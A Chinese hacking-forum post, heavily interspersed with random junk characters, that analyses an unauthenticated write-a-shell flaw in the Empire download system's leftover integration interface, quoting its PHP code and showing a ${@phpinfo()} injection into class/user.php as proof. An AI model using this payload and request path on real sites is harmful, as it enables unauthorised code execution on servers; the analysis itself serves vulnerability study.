这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
5 Z+ B5 G. V( O2 u0 f' v, J+ c& p: B" @ H" [! w
$ n4 ^0 R1 Y) u. F
这是帝国的一套下载系统 如图
" z/ u% i' F' A5 l) x9 v' F: lps(不需要任何账户和密码,直接写shell) $ b- Y1 d4 s( |% y& A
由于很多站是由于下载要整合discuz 等等一些论坛....3 @/ B4 I1 P3 k4 s% ^( N4 X
, o* t& _2 Y$ y2 y/ Y, I3 e
而帝国他又有一个万能接口,如图
$ p6 {; ]9 t5 Y& \- V* z+ `* p( |! ~
7 x3 G( J z0 e% P0 ^; \ R而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码7 z9 F$ v7 l: j# X7 S# V6 k: o
* U7 C ], k: z' [当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
1 y0 j' ^6 t( O7 f, C7 p* y4 e; c4 k8 {( i5 z( F
在data/fun.php中的15行
3 g+ x* x, L- E& ?' Q5 f/ Z0 V& v% C
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
0 a% o- a# Q% g6 }0 R# L17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
' }) ^6 u# W; C7 h: h; f5 s& N+ r6 v: Q: D3 g4 R
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
3 q# |! S* ~" U+ K/ ?* R" e2 E! m1 n5 X: b1 F* [/ e2 N' \, }4 N
他将传进来的变量进行了切割,然后赋给了$filetext
6 T: C6 I$ C+ o. }4 n, S0 ]0 i" |: P: e: `, \* B
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了, p0 z' S6 x" U; ?. N" \' q
! C3 u5 O c0 L4 g- @$ E' J0 T5 Y我们看看写入的结果,随便填一个 ! ~& S8 V6 R/ I$ r# G e
! z7 G5 m% Z" M2 L: y
) F( l) ?$ S+ C( q. b! p' m5 |0 r. p
; c& h4 a& E# y$ r/ Y
+ z; ^7 Q* K( C f% U+ ?/ W; M8 r
0 ]4 S1 M( \( ~( a2 T
( H9 g+ i; y0 S. `" Z$ d9 ?: [& Y' k
/ W0 J; N4 M$ h& e
9 b0 J+ |: l1 K! P3 `
2 A, p) @! c1 ], ?; B1 _0 W
/ U( L9 O% F: @& B, ]
5 W1 ]+ M7 k5 y, R' r: g( w8 v" ]6 q$ {
9 F8 e- U( X; Z" J" I
9 L w& `8 W/ L0 Z" i3 v
1 i- H; p3 y; Y) m9 A
3 c0 J9 J' R: y; f' d7 |
1 F7 y& N( R2 G1 e5 p; ^6 G! |3 u8 E/ F3 ]0 Z" ~
% [4 `; W/ Y0 H1 J9 z$ h: e6 p( |& n- v" w' N) d; E& Z
9 {- b; U# X2 e3 p c( b, Z所以我们淫荡点,写个${@phpinfo()}试试
! b7 O' {+ Y( D. d% E然后访问以下class/user.php这个文件
! L/ [- r( Q6 x g- a$ o日了吧 + ^/ ~# n' J- }" z
$ J3 B& y0 m8 ^3 X! E
( x, ~' z$ @) M1 B
: m9 Y$ x' u# D3 B( D
5 H% M* \4 C' H$ t5 B
; ?2 B! k. e" {6 C/ q& H1 t, Z |